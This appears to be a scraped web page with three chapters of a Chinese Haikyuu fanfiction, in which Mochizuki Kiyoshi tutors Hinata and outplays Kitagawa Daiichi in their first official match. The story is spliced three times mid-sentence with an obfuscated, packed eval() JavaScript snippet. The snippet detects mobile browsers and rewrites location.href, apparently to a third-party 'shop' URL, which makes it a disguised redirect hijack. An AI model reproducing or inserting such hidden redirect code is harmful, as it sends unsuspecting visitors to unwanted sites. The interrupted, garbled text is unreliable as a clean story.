;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467460|201304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赛,不过不影响他眼睛都不眨地吹:“宫城县内的话,应该没有比他更厉害的自由人了。” 至少前后几年关于国中男子排球的赛事报道里没有比西谷夕评价更高的自由人选手。 “而且他比你还矮一点。”望月清笑眯眯地继续添柴加火,“说不定你们可以一起组个乌野小巨人俱乐部。” “阿清!”猝不及防被戳了下身高痛脚,日向气得桌下用力踢了望月清的小腿一脚,心里小小的酸了酸那么长的腿怎么就不能分他一点,要求不高,五厘米都好。 反正没了那五厘米,也不影响阿清超过一米八。 哼。 “嘶——痛痛痛,好吧好吧,我们翔阳肯定还能长高,长到一米八。”望月清作势举手投降,同时仔细观察日向的表情,再次确定里面的确没有真的生气的成分,心里偷偷把日向名字下面的粉色小心心又涂上半颗。 大概能到亲友的好感度了。 望月清的心情不禁向上飞扬,连带语调都多了许多遮掩不住的笑意,不在敏感的身高问题上多做纠缠,回归了劝学的正题,“那翔阳你查过考乌野需要的偏差值吗?” 不用日向回答,看表情就知道完全没有。 估计要等到明年进路调查和三方谈话的时候,日向才能反应过来想去乌野是要考试的。 望月清看了看手机上的查询结果,报了一个让日向当场灰白石化的数字,又不紧不慢地补充:“最少也要保证这个水平,想保险点还得再高一些。我记得翔阳上次小测的分数——” 他拖了个长音,没准备真的去算那让人伤心的分数,留足了日向“啊啊啊”大叫着扑过来捂他嘴的时间,然后才抓着日向的手腕,另一只手点了点下边上的复习笔记,“所以,明白了?” 日向看看望月清,又看看停留在第一页的复习笔记,虽然望月清没算但他自己清楚自己现在的分数距离乌野还有不小的差距,想去乌野就必须把那些知识塞进脑子里…… 想想小巨人! 想想最爱的排球! 去乌野打排球!去小巨人的学校打排球! 痛苦地大吃两口蛋包饭,日向终于不情不愿地叹气:“我会好好背出来的……” “嗯哼,”望月清满意地撸了把橘子小狗的头毛,“乖孩子。” 日向本来应该炸毛再踹他一脚的,但被望月清带着笑意的眼神看着不知怎么的就有点不自在,下意识端起饮料吸了一大口,掩饰自己这点莫名的奇妙情绪。 望月清自然不会错过日向的反应,脸上的笑意愈发加深。 有反应就是好事,不、应该说是意外之喜,他之前还在担心以翔阳一贯神经大条的表现,很可能会直接把他的暧昧试探当成朋友间的正常互动,万一真的处成了Jump系的“挚友”想再纠正回来难度就大了。 不过从另一个角度讲,还在前期铺垫阶段就能觉察到他的隐晦试探,翔阳的直觉或许比他以为的更加敏锐。 8. 第八章 不过日向这样粗线条的神经,那点他自己都说不清楚的奇妙情绪很快就被铺天盖地的考前复习淹没了。 即使有望月清的复习资料,知识也不会自己流进他的脑子里,倒是每一秒都觉得刚记住的知识在从脑子里漏出来,宛如例题里一边倒水一边放水的游泳池,他的灵魂正和知识一起脱离肉/体。 当终于考完最后一门走出考场,日向不禁产生了一种重获新生的感觉。 为了庆祝这伟大的时刻,当然就应该—— “阿清!给我托球!”橘色的炮弹迫不及待冲进望月清的教室,像是终于能出门放风的快乐小狗,汪汪汪催促还在位置上磨蹭的主人,“快点快点!体育馆现在没人!” “马上,等我收个东西。”望月清应得飞快,选择性忽略了周围同学们的八卦视线,随意掰扯几句废话就打发了邀请他去游戏厅和卡拉OK的同学。 嗯,已经不是朋友了。 比起刚开学那会跟他勾肩搭背恨不得上厕所都一起去的热络,现在彼此之间已经拉开了一大段礼貌的社交距离,只能说是关系还行的同学了。 望月清熟知怎么疏远自己不想一起玩的人——忙碌的排球训练是完美的理由,和日向这些队友玩得更好也理所当然,再拒绝几次无意义的课后邀约,没多久就会被自然而然地移出对方的好友列表,又不至于面上闹得太僵。 最多就是有人嘀咕几句“你们正副部长可真忙啊”之类的酸话,望月清一概按字面意思笑着回应“当然啦,我跟翔阳可是搭档。”边上日向还在卖力地点头应和,差点没把人给噎死。 “好啦,”望月清握拳掩着嘴角上扬的弧度咳嗽一声,一手拎起书包一手勾住日向的肩,边往外走边问起日向考得怎么样,日向一听立刻可达鸭抱头,“不听不听!”嚷嚷着叫望月清赶紧换个话题。 考完不就完了,问什么问。 他会说他觉得自己考得很好状态超棒简直要以为自己是个天才么。 笑死,他当然会说。 还没走出三步日向就已经拍着胸脯要承包望月清一个月的草莓牛奶以报对方帮他复习之恩,事已至此望月清也很难坦白自己其实并不爱喝草莓牛奶,跟日向搭讪那天会买主要是起到一个造型作用。 你看,吸溜草莓牛奶的帅哥看起来绝对比喝冰美式的帅哥看起来更好说话更没距离感对吧。 望月清想了想,诚恳道:“可乐或者姜汁汽水也可以,草莓牛奶……我也只是偶尔喝喝。” “好呀。”日向一口应下没想太多,盯着几百米外的体育馆猛地一个加速开始冲刺,眨眼就只留给望月清一个背影。 望月清只愣了下就立刻把包往背上一甩大步追上去,积极参与进日向单方面发起的“谁先到达体育馆”竞赛。 就当是训练前的热身了。 “耶!第一名!”先一步跳上台阶的日向欢呼胜利,站在台阶上得意洋洋地插腰俯视刚抵达的望月清,“阿清加罚5个、不,10个托球!” “好,100个也行。”望月清调整自己快速奔跑后急促的呼吸,短距离冲刺他的确没有日向快,也不知道小小的身体哪里来的那么强的爆发力。 “100个!”日向眼睛一亮,生怕望月清反悔似的下达最终判决:“阿清罚100个托球!” 他说得兴高采烈,眉毛都要飞起来,叫望月清看得无奈失笑。他跟日向练习时哪次托的球都比一百只多不少,哪一次不是练到日向没力气跳不动了才结束。 好吧,大概因为这是日向【赢来的】。 对于更依靠野性本能行动的日向来说,即使最终的结果是一样的,但自己赢来的就是比别人给的更好。 望月清嘴角的笑意微敛,看着已经蹦跶进体育馆拿球拉球网铺垫子的日向,忍不住心里感叹对方或许比自己原本预想的还要更加天才。 日向哼着小夏最近在看的动画片主题曲,从筐子里挑出看起来最完美的一颗排球,抱在手里掂了掂,抛起接住又抛起,看着排球被抛到半空落下来的弧度都很高兴。 这两周为了保证复习质量训练量只有平时的一半,明明每天也有摸球,此时却有种跟老朋友久别重逢的奇妙感觉。 想打球。日向再一次坚定了自己的想法,重复着抛接球的动作,脑袋里想着望月清输给自己的100个托球,想今天要扣到比之前更多的球,再稍微远一点的,想象几个月后的正式比赛,自己该左脚先踏进球场,还是右脚先踏进球场。 比赛场馆里明亮的灯,好像现在就照在了他身上。 “突击测验。”望月清的手忽然出现在日向眼前,比他大一圈的手在脸前面一比总有种能把他整个脑袋都包住的感觉,日向下意识后退了半步,虽然不知道望月清要突击测验什么,但不管是什么都不影响他双手在胸前大大地比叉,“我拒绝!” 期中考试刚考完,他要快乐打球!拒绝考试! 望月清挑了挑眉,收起三根手指,食指和中指竖起,“这样呢?” “额……”日向顿了一下就快速反应过来,“D快攻!” “正确。”望月清再把中指也收起,只竖起食指——“A快攻!” “最后一题。”五指张开,又曲起做爪子状——“后、后排!后排进攻!” 英语单词是背一个忘一个的,排球战术是一个都不会记错的。“Excellent。”望月清揉了一把日向的脑袋夸奖道,日向眨眨眼,犹豫着回答:“优秀的?” 说完他自己都反应过来哪里不对,抱着排球不好意思地笑了两声,转移话题叫道:“打球了打球了!我感觉今天一定能扣出好球!” 虽然这两周的训练量有所打折,但他感觉自己现在手感超好。 助跑,起跳—— 手臂循着练习了无数次的肌肉记忆挥动发力,扣击恰到好处被送到手边,只需要稍微调整就能轻松扣下的球。 …… …… 球场另一边轰然砸下沉重如掌声雷鸣般的声响。 “好球!” 被球场灯光照亮的橘发少年落地又弹跳起来抱住身边为他托起这一球的二传手,兴奋地大声欢呼。被他抱住的二传也配合地露出笑容,那张完全可以用漂亮形容的脸为他吸引来不少关注。 球场边正在热身的对手们不禁撇嘴,流露出几分不屑的神情。 只是赛前热身而已,不知道的还以为是决赛夺冠了呢。 切。 而作为宫城县国中排球界的传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17473022|201304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 统豪强,本次大赛的夺冠热门北川第一中学,他们的确有看不起对手的资本。 尤其这一场的对手还是第一次出现在大赛里的新面孔,整支队伍除了二传比较沉稳看起来有点比赛经验外其他全是满脸紧张的新手,一个个垫球不稳脚步散乱注意力飘忽,队长更是个一米六……估计都不到的小矮子,进场时左顾右盼的差点表演个左脚拌右脚,全员就差把弱字写在脸上。 ——被小看了啊。 望月清不动声色地观察着对手们的状态,在心里做上场前最后的战术调整,光是身高北川第一都压他们这边一头,豪强校的气势更不必多说,凶神恶煞地往场边一站,他们这边就有好几个手忙脚乱满场捡球了。 望月清心里叹气,这种程度的发挥失常还在他的预料内。本身正式比赛的氛围就很有压迫感了,何况都是些第一次参加正式赛的新手,加上又听说了第一场的对手是夺冠热门,天崩开局也很影响心态。 说实话日向居然还能扣中他的托球都已经是意外之喜,毕竟赛前那副白着脸紧张得闹肚子的样子实在…… 做好一人带全队准备的望月清巴不得对手越小看自己越好。 赢……的概率真不高,自家人知道自家事,几个月的零基础冲刺不可能赶得上传统豪强成熟培训体系下的成果,区别也就是输得干脆点还是输得挣扎点,望月清给自己设定的目标也不过是坚持到第三局再输。 跟日向一起的第一场正式比赛,总要赢下一局吧。 至于拿下概率最高最有可能的,无疑只有对手最轻敌大意同时自己这边体力最为充足,对双方实力差距也没有那么强的切身感知,换言之还比较容易保持住士气的第一局了。 “翔阳,”他叫住准备去抽签的日向,重复提醒了一遍抽签的战术选择,“抽中的话,我们选先发球。” “啊……?哦哦!”从日向的表情看,他的提醒很有先见之明。 而这一次好运气好像也站在了他这一边,望月清张开手臂接住赢了抽签昂首挺胸跑回来的队长大人,招呼队友们做赛前最后的心理辅导。 “我们不是为了输球来到这里的。”他一个一个看着队友的眼睛,能感受到他们此时的胆怯、动摇和迷茫,就像即将走上战场的新兵,可能在场上捅出任何篓子,任何激励或宽慰在此刻都是无力的,人类的本能就是会夸大未知的困难。 望月清停顿了一下,才接着道,“我们付出了不输给任何的人努力,堂堂正正地站在这里。这是第一次,但我相信绝不会是最后一次。” 话说到这就差不多了,望月清没有给这些生瓜蛋子施加更多的压力,转而用玩笑的口吻做了收尾,“不管是输还是赢,地球都不会毁灭。所以……不辜负自己努力地,去享受比赛吧!” 日向第一个响应,张开手臂把队员们拉在一起围成圆阵——他和望月清面对面的,各自左右搭着要一起首发上场的队友,试图传递过去更多的斗志。 “1——2——” “Fight!!!” 嘟—————— 比赛开始的哨声吹响,望月清在日向带头吆喝的“发个好球”声中将球高高抛起,助跑,蓄力,从容起跳。 他当然——会发个好球。 9. 第九章 整个球场尽在他的俯视之下。 北川第一的教练正在低头看手里的册子,也许是已经开始研究下一场的对手了?也对,赛前这位教练就没怎么在意这场实力悬殊的比赛。 看台上也几乎无人关注他们这支弱旅,偶尔一些往这边看的也多数在看北川第一那边的表现。很合理,就观看预期而言一边倒的虐菜戏码大概还不如菜鸡互啄来得精彩。 当然也有些女生在看他,不管什么时候这张脸总能给他多博取到一些镜头。 ……啊,看到自己这边的亲友团了,他的祖父祖母,日向的父母和妹妹,还有其他队员们的家属,很集中地坐在一起挥着应援的小旗子小扇子,看口型应该是……在喊加油。 望月清的视线在祖母手里不知什么时候做的应援扇上停顿了一瞬,最终落回了球场上,北川第一的防守站位称得上松散,明显有人没完全进入状态,敞开了弱点给他进攻。 那他就不客气了。 望月清漫不经心地想着,充足的训练带来了足够的掌控力,他的身体舒展如振翅的鹰隼,当在最高点挥下手臂时,竟显得有几分轻盈。 以至于当流星带着万钧之力急速坠落,沉重的轰鸣撕开空气砸在地板又带着疾风高高旋起时,所有人都如梦游般僵立在那里,做不出任何反应。 “……嘟——!” 就连得分的哨声都慢了一拍,场边的工作人员如梦方醒,匆匆忙忙翻过记分牌。 0-1。 欢呼议论的巨大嘈杂在短暂的静默后炸开,体育记者的镜头与观众的视线瞬间转向了打出这雷霆一击的发球员,北川第一的教练也没办法再悠闲地靠在那里看资料了,直起身仔细观察那张球场上的陌生面孔。 虽然只是一个发球,但已经足够说明很多事情了。 望月清轻松地落地站稳,微笑着看向球网那边。他直接跳过技能点最全面威胁最大的二传手影山飞雄,像是根本没注意到还有这个人,径直盯住了他边上发型颇有特色的副攻。 记得是叫……金田一勇太郎? 金田一正震惊(?)气恼(?)地看着他,身体微微后倾——开场过于放松又被发球正冲着他贴脸砸的凶狠气势所迫,下意识做出的躲闪反应。 在意识到自己竟然躲球了的时候,他的脸一瞬间涨得通红。 ——多谢款待。 望月清无声地开口,确保对方能读懂自己笑容里的挑衅。 那张脸红得更加厉害,冒着蒸汽要炸开了一般——望月清一点都不怀疑,要不是中间有球网拦着,对方少说要冲上来给他一拳。 呼——不着急。 只是赢了一球而已。 望月清再次拿起球,在裁判的示意下向后退到合适的发球位置,观察此刻场上的局势。 果然再多赛前鼓励都不如气势如虹的赢下一球,自己这边的新兵们终于给他把后背挺起来了。而北川第一也不愧是夺冠热门的豪强校,失了一球后迅速调整了状态——尤其是被他挑衅的金田一冒着火瞪着他的眼神,好像在瞄准什么要被一口咬死的小动物似的。 生气了么? 那就对了。 望月清将球抛起,用更快也更沉重的发球给自己的挑衅加码。 失去了冷静的猎手注定要被猎物狠狠蹬在脸上,飞速砸下的排球对金田一脚边的空隙进行了针对性打击。 球速足够快,球路足够别扭,呼啸而来的力道更是压迫感十足,一丝一毫的松懈都会变成致命弱点,精准擦着金田一过去的球路更是让队友很难给他补位,第二球丢得可以说没有任何悬念。 更多观众被吸引了过来,黑马掀翻豪强的意外戏码谁都爱看。北川第一的教练沉着脸皱起了眉,视线在对面笑着跟队友击掌庆祝的发球员和气得咬牙切齿的金田一身上来回转动。 他嗅到了不妙的味道。 当排球第三次裹挟着疾风高高弹起时,擦过耳边的气流甚至叫金田一觉得脸颊刺痛,像是被对面那个讨厌的小白脸隔空扇了一巴掌。 不断被挑衅的愤怒冲得他头脑发胀,额上青筋一跳一跳,明明开场到现在没有任何跑动却呼哧呼哧喘着粗气,眼睛瞪大充血到酸痛。 影山飞雄还在边上叫着让他注意接球,斥责他疏忽了防守脚下和身侧的空隙,用那种命令式的高高在上的语气对他发号施令,声音急迫又刺耳地扎在他的神经上,像一根针猛地刺进胀满的气球。 “闭嘴!”金田一控制不住脾气地对影山飞雄大吼,旋即又意识到这也许正是对手的目的——对面那个讨厌的二传已经在准备发第四个球了,正抱着球露出那种看戏般叫人心火直冒的微笑。 真是可怜。 望月清心里意思意思地给被自己反复爆踩神经的金田一道了个歉。 但他真的很需要一局漂亮的胜利提振士气,也真的很需要制造矛盾分化对手以博取发球局被破后哪怕一点点的优势。 金田一会被针对不掺杂一点私人恩怨,只是因为他是队伍里情绪最不稳定最合适被挑拨的那个。 望月清像是站在棋盘前,俯瞰着场上的每一枚棋子。 再一再二总不能再三再四,被他不断故意忽略队友又不断失分,提醒队友注意防守还被怼了回来,对面那位唯我独尊的王者大人也快要忍不住了吧。 得想办法再加点儿料。 第五次站在发球点时,望月清已经非常清楚接下来很难再依靠跳发直接得分了。北川第一已经在连续四次丢球的过程中扎牢了篱笆,最大限度适应了他的球速、发球角度和力道,并且对他针对性打击金田一的发球进行了战术调整。 最重要的是,影山飞雄已经明显忍无可忍了。 不论如何,他都不会再放任这一球得分。 借着起跳后一瞬的俯视视角再次确认了对面每一个人的身体动向,望月清为这一球选择了一个微妙又完美的落点,给出了一个足够快,却也没有那么快的球。 能接到! 金田一第一时间做出了判断,他的眼睛里除了向着自己飞来的球再看不到其他东西,迫不及待想要洗刷被贴脸砸了四球的耻辱,身体随着脑内规划的接球路线迅速移动,向右两步再一个箭步下蹲,这一球几乎就是自己送进他怀里…… 砰。 在碰到球之前,他的手臂先打到了比他还要更快一点冲过来试图救球的影山飞雄身上,这一球的落点实在微妙,两人谁来接都算合理,于是撞车的两人接球姿势不可避免地同时走形,金田一眼睁睁看着球撞在他手臂上又歪歪斜斜地飞起。 “——!!” 影山飞雄想也不想立马调转方向扑过去救球,一边叫着队友的名字提醒进攻一边就着一个极其勉强的姿势把球托起,硬是在这种情况下组织队友完成了一次进攻。 ——“佐藤!接球!” 望月清提高音量提醒靠近落点的队友别愣在那,看着佐藤更加手忙脚乱地把球接起,稳定性和精度自然不用指望,能接住已经是望月清对他最大的要求了。 大概是他之前连下四球的确给了队友不少鼓舞,佐藤的接球发挥了平时八成的水准,歪歪扭扭但好歹也向着望月清这个二传的方向飞了过来。 “翔阳!” 望月清的余光瞥到日向已经开始助跑,憋到现在只能看着他拿分的攻手跃跃欲试渴望着扣下一球。过去几个月无数次的扣球加练在这一瞬开花结果,日向抵达最高点的瞬间望月清也将球送到了最合适的位置,眼睛眨也不眨地注视着日向扣下迅猛而有力的一击。 他不用看也可以百分之百地确认日向能拿下这一球,反复演练过的快攻足够打穿北 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17475865|201304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 川第一被发球拉扯变形的防线,跟队友配合拿下一分的意义也远胜压榨已经快被看穿的跳发的剩余价值。 “阿清!!!”日向一落地就喊着望月清冲上来表演了个原地上树,望月清也乐得俯身扛着自家最近重了不少的攻手庆祝,还不忘伸手揽住佐藤拍拍肩膀,把这个只知道盯着手发呆的家伙的魂给叫回来。 “干得不错。”他半点不吝啬地夸奖,感受到自己这边的士气得到了进一步的提升——他能得分,日向能得分,就连几个月前还没接触过排球的佐藤也可以做出贡献,5-0的分数板证明对手似乎并没有想象中那么可怕。 既然今天不论是输是赢地球都不会毁灭,他们又为什么不能幻想,今天的胜利女神选择了站在他们这边。 而与雪之丘这一边斗志昂扬相对应的,北川第一此刻的温度却降到了冰点,金田一和影山飞雄的脸色黑得宛如锅底,恶狠狠拽着——准确地说金田一恶狠狠地拽着影山飞雄的领子,影山飞雄则不甘示弱地回以更加凶恶的瞪视。 气氛一触即发,站在后排的国见英都准备上来拉人劝架了,这事很难评谁对谁错,硬要说就是对面那个二传的错,把挑拨离间打在了明面上。 偏偏他们队内关系又的确没那么和谐,要不是比赛中内讧场面实在难看,已经站在场边的教练脸色会更难看,并且闹起来大概率是他的发小金田一挨批,国见英压根不想管这事。 毕竟他跟影山飞雄的关系不能说多好,只能说更烂。 近乎窒息的沉默后,金田一一把推开影山飞雄,站回到自己的位置上。他毫不怀疑,再这样闹下去,教练会立刻把自己换下场冷静冷静。 被推开的影山飞雄整理了下领口,用力吸了一口气,他的火气并不比金田一小,发生接球撞车这种低级失误简直是十年后想起来都睡不着觉的耻辱。 他什么也没有说,更加全神贯注地盯牢望月清,试图揣摩对方的球路和意图,寻找掀翻对方棋盘的破绽。 雪之丘弱得太明显了,可以说是完全依靠那个二传手的个人素质撑起来的队伍。影山飞雄半点不觉得自己会输——对面的二传手很好,但他比对方更好。 北川第一谁也没有说话,默然摆好姿势,等待对面的下一次发球。 此时望月清……望月清在关注场边教练的反应。 他的战术很大一部分建立在北川第一队内矛盾所暴露出的配合漏洞上,赌这群被豪强、天才等赞誉包围的少年容易被激怒和一上头就不顾大局的自我意识过剩,再用自己这边唯一的长处“团结”去撕下尽可能多的分数。 没吵起来有点可惜,但矛盾的种子已经埋下了,此刻最大的变数在于场外——一旦代表绝对权威的教练站出来,不管是强硬地镇压矛盾还是及时居中调和,他的谋划基本就全局作废,得咬紧牙关跟北川第一硬碰硬了。 但直到第一局结束,计分板定格在25-21,北川第一的教练都没有做出任何应对,甚至于后半局坐了回去,抱着手臂冷脸看自己的队伍丢掉这一局。 于是望月清心里有数了。 队内矛盾能发酵到自己一挑拨就差点在场上闹翻的地步,这位教练也得分一口大锅。 他收回了看向对手的视线,嘴里应着日向兴奋得不行的叽叽喳喳,和队友们走回休息区。 日向很高兴。 他的队长大人快乐得整个人都在发光,身上洋溢着他从未见过的喜悦,又向他传递着更加贪婪,更加不知餍足的信号。 ——要赢。 要一直、一直、永无尽头地赢下去。 他要成为这个球场上,站到最后的胜利者。 …… 跟北川第一的那位“王者大人”比起来,这才是真正为难人的国王陛下啊。 望月清在心里甜蜜地抱怨着。